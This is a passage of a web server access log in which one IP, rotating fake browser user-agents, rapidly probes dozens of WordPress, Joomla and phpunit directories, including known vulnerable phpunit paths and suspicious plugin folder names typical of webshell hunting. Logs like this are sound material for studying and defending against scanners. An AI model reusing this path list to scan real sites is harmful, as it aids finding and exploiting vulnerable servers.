[05/Apr/2026:18:50:53 +0300] "GET /Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /themes/scapeshot/includes/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /themes/bltm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /themes/newstoday/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /css/dist/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /maint/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /Requests/Transport/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:53 +0300] "GET /phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /themes/rehub-theme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /themes/fitnessbase/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /joomla/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /blocks/audio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /language/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:54 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-content/plugins/wp-doftx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-includes/text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-content/plugins/wp-help/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-content/uploads/2015/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wordpress/wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-admin/css/color/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-admin/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-content/plugins/wp-doft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:55 +0300] "GET /wp-content/plugins/seoxx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/plugins/instabuilder/cache/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/plugins/hellopress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /bitrix/admin/htmleditor2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/plugins/instabuilder2/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-admin/maint/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-includes/sodium_compat/src/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /phpunit/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wordpress/wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-includes/PHPailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/plugins/helloapx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:56 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-content/themes/kadence/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-content/fonts/nunito/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /js/tinymce/plugins/filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /vendor/phpunit/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /lib/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-content/themes/moog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-content/plugins/wpcall-button/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /templates/protostar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-content/themes/twentynineteen/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:57 +0300] "GET /vendor/phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /dev/beijaflorstudio/wp-content/plugins/watch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/plugins/three-column-screen-layout/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/themes/twentynineteen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-admin/Files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /test/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/plugins/woocommerce-square/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /wp-content/plugins/wp-sec/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:58 +0300] "GET /completion/criteria/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /doc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-includes/Requests/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/uploads/import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/plugins/complianz-gdpr/cookiebanner/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/themes/Divi/includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/uploads/2014/07/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /phpunit/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; 